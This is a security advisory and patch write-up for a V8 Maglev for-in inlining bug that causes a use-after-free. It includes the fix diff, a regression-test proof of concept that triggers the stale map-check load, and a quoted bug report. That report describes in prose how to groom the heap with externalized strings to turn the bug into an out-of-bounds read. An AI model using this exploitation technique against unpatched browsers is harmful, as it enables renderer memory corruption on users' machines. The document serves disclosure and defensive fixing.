CVE-2026-87587
Overview
Background
- for-in fast path
- Maglev optimization where a
for-inloop caches that the receiver’s map matches its enum cache, enabling property loads by enum index without re-validating the map. - `receiver_needs_map_check`
- Per-loop flag in
current_for_in_state; whenfalse, Maglev emits enum-index property loads that skip the receiver map check. - Eager inlining
BuildEagerInlineCallsplices a callee’s Maglev graph into the caller, running a nestedMaglevGraphBuilder(the inlinee) with its owncurrent_for_in_state.- Map change
- A map transition (e.g. from
delete obj.x) that invalidates cached map assumptions and can migrate object layout.
Root Cause Analysis
When Maglev inlines a call inside an active for-in loop, the inlinee body can mutate the receiver’s map, for example by deleting a property, which transitions the object to a new map and invalidates the loop’s cached enum-index assumption. Previously BuildEagerInlineCall unconditionally copied the inlinee’s final current_for_in_state.receiver_needs_map_check back into the caller. That final value reflected only the last for-in/hasOwnProperty operation the inlinee performed, not the cumulative history of map changes. If the inlinee ended by iterating or validating a different object (other.hasOwnProperty(key)), receiver_needs_map_check was reset to false, so the copy wrongly told the caller its own receiver map was still valid. The caller then loaded victim[key] by stale enum index against an object whose map had migrated out from under it.
The fix adds a monotonic may_have_changed_maps_ flag that latches true whenever any map change occurs in the inlinee and forces the caller’s receiver_needs_map_check = true on return.
hasOwnProperty/for-in at the end of the inlinee could silently clear a map-check requirement that an earlier delete inside the same inlinee had actually created.Attack Path
- Set up for-in
Attacker starts a
for-inloop over a victim object so Maglev caches its map and enum cache withreceiver_needs_map_check=false. - Inline a mutator
The loop body calls
erasePressureThenRevalidate, which Maglev eagerly inlines into the caller. - Transition then mask
The inlinee does
delete victim.x(migrating victim’s map) and thenother.hasOwnProperty(key), leaving the inlinee’s finalreceiver_needs_map_check=false. - Stale index load
Back in the caller,
receiver_needs_map_checkis overwritten tofalse, sovictim[key]is loaded by the now-stale enum index without a map check. - Type confusion The enum-index load reads the migrated object with the wrong layout, yielding a type-confused/dangling access.
Impact Assessment
Changed Functions
| Function | Change | Notes |
|---|---|---|
fortest/mjsunit/maglev/regress/regress-550360762.js |
modified |
Files Changed
src/maglev/maglev-graph-builder.htest/mjsunit/maglev/regress/regress-550360762.jssrc/maglev/maglev-graph-builder.cc
Audit Directions
- Snapshot-vs-cumulative state across inliningAudit every field propagated from an inlinee’s final builder state into the caller; prefer monotonic/latching flags over last-value copies whenever the field guards a correctness invariant that any intermediate operation could invalidate.
- for-in enum-cache assumptions under side effectsReview all paths that can clear
receiver_needs_map_checkand confirm no inlined or called code can perform a map transition on the loop receiver without forcing a re-check. - Map-change tracking completenessVerify
may_have_changed_maps_is set on every operation that can transition a map (delete, property add,__proto__change,Object.defineProperty), not just the deletion path exercised by the regression test.
Patch
From dd7e9b5ef6d7b32fc5752b88ec84352b4903b821 Mon Sep 17 00:00:00 2001 From: Marco Vitale <[email protected]> Date: Mon, 31 Aug 2026 14:03:34 +0000 Subject: [PATCH] [maglev] Invalidate for-in receiver map check on inlined map changes When inlining a call inside an active for-in loop, operations in the inlinee may invalidate object maps. Previously, BuildEagerInlineCall copied the inlinee's final receiver_needs_map_check into the caller. If the inlinee iterated another object or validated hasOwnProperty, receiver_needs_map_check was reset to false, erroneously clearing the caller's requirement to re-check its own receiver map. Track whether map mutations occurred during inlining with may_have_changed_maps. In BuildEagerInlineCall, invalidate the caller's receiver map cache if any map change was observed in the inlinee. Fixed: 550360762 Change-Id: I7adcf8f479a162d82fb13b1b2f607ad54d8996ae Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8322427 Commit-Queue: Marco Vitale <[email protected]> Reviewed-by: Darius Mercadier <[email protected]> Cr-Commit-Position: refs/heads/main@{#109603} --- diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc index 9e0916a..77acb55 100644 --- a/src/maglev/maglev-graph-builder.cc +++ b/src/maglev/maglev-graph-builder.cc @@ -7808,8 +7808,10 @@ // Propagate frame information back to the caller. current_interpreter_frame_.set_known_node_aspects( inner_graph_builder.current_interpreter_frame_.known_node_aspects()); - current_for_in_state.receiver_needs_map_check = - inner_graph_builder.current_for_in_state.receiver_needs_map_check; + if (inner_graph_builder.may_have_changed_maps()) { + may_have_changed_maps_ = true; + current_for_in_state.receiver_needs_map_check = true; + } // Resume execution using the final block of the inner builder. inner_graph_builder.reducer_.FlushNodesToBlock(); diff --git a/src/maglev/maglev-graph-builder.h b/src/maglev/maglev-graph-builder.h index fc531f9..b7daff4 100644 --- a/src/maglev/maglev-graph-builder.h +++ b/src/maglev/maglev-graph-builder.h @@ -1986,6 +1986,9 @@ // When set, inline only small functions. bool only_inline_small_ = false; + + bool may_have_changed_maps() const { return may_have_changed_maps_; } + bool may_have_changed_maps_ = false; }; template <bool is_possible_map_change> @@ -1996,6 +1999,7 @@ // TODO(leszeks): Track this on merge states / known node aspects, rather // than on the graph, so that it can survive control flow. if constexpr (is_possible_map_change) { + may_have_changed_maps_ = true; current_for_in_state.receiver_needs_map_check = true; } } diff --git a/test/mjsunit/maglev/regress/regress-550360762.js b/test/mjsunit/maglev/regress/regress-550360762.js new file mode 100644 index 0000000..7e8a663 --- /dev/null +++ b/test/mjsunit/maglev/regress/regress-550360762.js @@ -0,0 +1,48 @@ +// Copyright 2026 the V8 project authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. +// +// Flags: --maglev --maglev-inlining --allow-natives-syntax + +const probe = {a: 1}; + +function Receiver(v) { + this.p0 = 10; + this.p1 = 11; + this.p2 = 12; + this.p3 = 13; + this.x = v; + this.y = 99; + for (let i = 0; i < 4; ++i) Object.defineProperty(this, 'p' + i, {enumerable: false}); +} + +function erasePressureThenRevalidate(victim, other) { + delete victim.x; + let key; + OUT: { + for (key in other) break OUT; + throw 0; + } + return other.hasOwnProperty(key); +} + +function vulnerable(victim, other) { + for (let key in victim) { + erasePressureThenRevalidate(victim, other); + return victim[key]; + } + return -1; +} + +%PrepareFunctionForOptimization(Receiver); +%PrepareFunctionForOptimization(erasePressureThenRevalidate); +%PrepareFunctionForOptimization(vulnerable); + +for (let i = 0; i < 2; ++i) { + vulnerable(new Receiver(0), probe); +} +%OptimizeMaglevOnNextCall(vulnerable); +vulnerable(new Receiver(0), probe); + +const victim = new Receiver(1337); +assertEquals(undefined, vulnerable(victim, probe));
Regression Test / PoC
diff --git a/test/mjsunit/maglev/regress/regress-550360762.js b/test/mjsunit/maglev/regress/regress-550360762.js
new file mode 100644
index 0000000..7e8a663
--- /dev/null
+++ b/test/mjsunit/maglev/regress/regress-550360762.js
@@ -0,0 +1,48 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+//
+// Flags: --maglev --maglev-inlining --allow-natives-syntax
+
+const probe = {a: 1};
+
+function Receiver(v) {
+ this.p0 = 10;
+ this.p1 = 11;
+ this.p2 = 12;
+ this.p3 = 13;
+ this.x = v;
+ this.y = 99;
+ for (let i = 0; i < 4; ++i) Object.defineProperty(this, 'p' + i, {enumerable: false});
+}
+
+function erasePressureThenRevalidate(victim, other) {
+ delete victim.x;
+ let key;
+ OUT: {
+ for (key in other) break OUT;
+ throw 0;
+ }
+ return other.hasOwnProperty(key);
+}
+
+function vulnerable(victim, other) {
+ for (let key in victim) {
+ erasePressureThenRevalidate(victim, other);
+ return victim[key];
+ }
+ return -1;
+}
+
+%PrepareFunctionForOptimization(Receiver);
+%PrepareFunctionForOptimization(erasePressureThenRevalidate);
+%PrepareFunctionForOptimization(vulnerable);
+
+for (let i = 0; i < 2; ++i) {
+ vulnerable(new Receiver(0), probe);
+}
+%OptimizeMaglevOnNextCall(vulnerable);
+vulnerable(new Receiver(0), probe);
+
+const victim = new Receiver(1337);
+assertEquals(undefined, vulnerable(victim, probe));
Original Bug Report
Maglev eager-inlined for...in state suppresses a receiver map check and causes UAF
Report description
Maglev eager-inlined for…in state suppresses a receiver map check and causes UAF
Bug location
Where do you want to report your vulnerability?
Chrome VRP – Report security issues affecting the Chrome browser. See program rules
Which URL (or repository) have you found the vulnerability in?
https://source.chromium.org/chromium/chromium/src
The problem
Please describe the technical details of the vulnerability
Maglev’s fast for...in path records the active receiver, enum-cache data, key, index, and whether the receiver’s map must be checked again in MaglevGraphBuilder::ForInState. VisitForInNext() checks the receiver map and sets receiver_needs_map_check to false, while a later operation that may change a map calls ResetBuilderCachedState<true>() and sets it back to true.
BuildEagerInlineCall() creates a separate MaglevGraphBuilder for the inlinee. When the inlinee returns, it copies only the inlinee’s final receiver_needs_map_check value into the caller; the caller’s other ForInState members continue to describe the caller’s original receiver and enum cache (v8/src/maglev/maglev-graph-builder.cc).
current_for_in_state.receiver_needs_map_check =
inner_graph_builder.current_for_in_state.receiver_needs_map_check;
An inlinee can execute an operation that may change the caller’s receiver map, setting its local receiver_needs_map_check value to true, and then enter and validate an unrelated for...in loop, leaving its local value false. The partial copyback attaches that false value to the caller’s still-active ForInState even though the inlinee validated a different receiver and enum cache.
TryBuildGetKeyedPropertyWithEnumeratedKey() consequently skips the required comparison between the caller receiver’s current map and its cached map, loads the field index from the old enum cache, and emits LoadTaggedFieldByFieldIndex for an object whose layout may have changed.
PoC
The attached page enters a fast for...in loop over victim and eagerly inlines erasePressureThenRevalidate(). The inlinee deletes victim.x, then validates a different for...in receiver with hasOwnProperty(). The page automatically warms the affected functions and requires no interaction after it is opened.
Deleting victim.x normalizes the ordinary object with CLEAR_INOBJECT_PROPERTIES. The dictionary value is cleared to TheHole, the instance size is reduced, and the removed in-object-property tail becomes filler or free-space memory without clearing the retained payload bytes. The page places x after four non-enumerable fields so its old tagged value remains beyond the filler header.
The deleted value is an old-space ExternalOneByteString. A major collection triggered by ordinary allocation pressure finalizes the unreachable string and releases its External Pointer Table entries, but the old tagged pointer remains in the released tail. The missing receiver map check lets LoadTaggedFieldByFieldIndex return that reclaimed string wrapper.
The page creates and promotes the target and replacement strings, then externalizes them through the document.getElementById() DOM-string conversion. It externalizes 1,500 target-block strings and stores string 375, whose length is 4,096, in victim.x. After the vulnerable delete and major collection, it externalizes 376 retained 32-byte replacement strings in the same order. The reclaimed target’s exact-tag resource and resource_data entries are reused by a live replacement while the stale wrapper still contains length 4,096.
Intl.Segmenter.prototype.segment() converts the stale string through Intl::ToICUUnicodeString(). The replacement’s Blink StringImpl allocation is 44 bytes, consisting of the object and 32 character bytes. The stale length makes CopyChars() read immediately past that allocation into its ASan-poisoned tail.
Reproduce
Confirmed with asan-v8-sandbox-testing-linux-release-1680586.zip
Extract the official ASan Chrome artifact, save the attached page as /path/to/poc.html, and open it with the following command. No further action is required.
ASAN_OPTIONS='detect_leaks=0:abort_on_error=1:symbolize=0' \
/path/to/chrome \
--js-flags='--run-as-security-poc' \
--incognito \
--enable-logging=stderr \
file:///path/to/poc.html
Impact analysis
An ordinary page can make Maglev return a tagged pointer to a reclaimed V8 heap object and then cause trusted native string code to read beyond an unrelated Blink allocation. The attached PoC demonstrates a renderer-process use-after-free and an ASan-detected out-of-bounds read.
The cause
What version of Chrome have you found the security issue in?
153.0.8010.0
Is the security issue related to a crash?
Yes, it is related to a crash.
Choose the type of vulnerability
Memory Corruption (in a sandboxed process)